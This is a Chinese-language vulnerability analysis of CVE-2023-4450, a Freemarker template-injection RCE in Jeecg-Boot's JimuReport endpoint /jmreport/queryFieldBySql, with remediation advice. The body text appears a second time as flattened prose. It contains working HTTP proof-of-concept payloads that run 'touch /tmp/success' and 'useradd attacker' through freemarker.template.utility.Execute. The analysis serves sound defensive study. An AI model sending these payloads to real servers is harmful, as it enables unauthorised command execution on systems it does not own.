jeect-boot积木报表漏洞rce分析(CVE-2023-4450)
字数 1212 2025-08-24 07:48:22

Jeecg-Boot积木报表RCE漏洞分析(CVE-2023-4450) 教学文档

一、漏洞概述

Jeecg-Boot框架中的Jimureport组件存在远程代码执行漏洞(CVE-2023-4450),由于未授权的API /jmreport/queryFieldBySql 使用了Freemarker解析SQL语句,导致攻击者可以构造恶意请求执行任意系统命令。

二、漏洞复现

环境搭建

  • 使用Jeecg-Boot 3.5.3版本
  • 配置MySQL和Redis数据库
  • 使用IDEA启动调试环境

漏洞利用POC

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json

{
  "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"touch /tmp/success\")}",
  "type": "0"
}

关键参数说明

  • sql:包含Freemarker模板注入的恶意代码
  • type:可为任意值,但必须存在该参数

三、漏洞分析

1. 路由与拦截器

JimuReportConfiguration.class可见,以下路由设置了拦截器:

  • /jmreport/queryFieldBySql
  • /jmreport/loadTableData
  • /jmreport/dictCodeSearch

2. 漏洞入口点

漏洞主要存在于/queryFieldBySql路由的处理逻辑中,具体代码位于a.class

3. 请求处理流程

  1. 从JSON请求中解析sql参数
  2. 调用i.a(var2)进行SQL注入拦截检查(WAF功能)
  3. 传入参数到reportDbService.parseReportSql()方法:
    • var2: SQL语句(包含恶意代码)
    • var3: dbSource
    • var4: paramArray
    • var5: type

4. Freemarker模板解析

关键调用链:

FreeMarkerUtils.a(var1, var2)

(new Template("template", new StringReader(var0), var2)).process(var1, var3)

env.getMainTemplate()

this.doAutoImportsAndIncludes(this)

5. 命令执行过程

  1. 模板解析<#assign ex="freemarker.template.utility.Execute"?new()>

    • 通过反射创建freemarker.template.utility.Execute类实例
  2. 执行${ex("open -a Calculator.app")}

    • 解析表达式并调用eval方法
    • 最终调用Runtime.getRuntime().exec(aExecute)执行系统命令

四、漏洞利用扩展

1. 其他利用方式

  • 可执行任意系统命令
  • 存在SQL注入点,可进行数据库操作
  • 可能通过MySQL进行后渗透攻击

2. 示例攻击

创建系统用户:

{
  "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"useradd attacker\")}",
  "type": "0"
}

五、修复方案

  1. 官方后续版本增加了权限控制
  2. 建议修复措施:
    • 升级到安全版本
    • /jmreport/queryFieldBySql等接口增加严格的身份验证
    • 禁用Freemarker的危险功能
    • 实施输入过滤,防止Freemarker模板注入

六、总结

该漏洞利用链相对简单,主要利用Freemarker模板注入实现RCE。攻击者可通过未授权接口直接执行系统命令,危害性较高。同时存在SQL注入风险,可能造成更严重的后果。

Jeecg-Boot积木报表RCE漏洞分析(CVE-2023-4450) 教学文档 一、漏洞概述 Jeecg-Boot框架中的Jimureport组件存在远程代码执行漏洞(CVE-2023-4450),由于未授权的API /jmreport/queryFieldBySql 使用了Freemarker解析SQL语句,导致攻击者可以构造恶意请求执行任意系统命令。 二、漏洞复现 环境搭建 使用Jeecg-Boot 3.5.3版本 配置MySQL和Redis数据库 使用IDEA启动调试环境 漏洞利用POC 关键参数说明 sql :包含Freemarker模板注入的恶意代码 type :可为任意值,但必须存在该参数 三、漏洞分析 1. 路由与拦截器 从 JimuReportConfiguration.class 可见,以下路由设置了拦截器: /jmreport/queryFieldBySql /jmreport/loadTableData /jmreport/dictCodeSearch 2. 漏洞入口点 漏洞主要存在于 /queryFieldBySql 路由的处理逻辑中,具体代码位于 a.class 。 3. 请求处理流程 从JSON请求中解析 sql 参数 调用 i.a(var2) 进行SQL注入拦截检查(WAF功能) 传入参数到 reportDbService.parseReportSql() 方法: var2: SQL语句(包含恶意代码) var3: dbSource var4: paramArray var5: type 4. Freemarker模板解析 关键调用链: 5. 命令执行过程 模板解析 <#assign ex="freemarker.template.utility.Execute"?new()> : 通过反射创建 freemarker.template.utility.Execute 类实例 执行 ${ex("open -a Calculator.app")} : 解析表达式并调用 eval 方法 最终调用 Runtime.getRuntime().exec(aExecute) 执行系统命令 四、漏洞利用扩展 1. 其他利用方式 可执行任意系统命令 存在SQL注入点,可进行数据库操作 可能通过MySQL进行后渗透攻击 2. 示例攻击 创建系统用户: 五、修复方案 官方后续版本增加了权限控制 建议修复措施: 升级到安全版本 对 /jmreport/queryFieldBySql 等接口增加严格的身份验证 禁用Freemarker的危险功能 实施输入过滤,防止Freemarker模板注入 六、总结 该漏洞利用链相对简单,主要利用Freemarker模板注入实现RCE。攻击者可通过未授权接口直接执行系统命令,危害性较高。同时存在SQL注入风险,可能造成更严重的后果。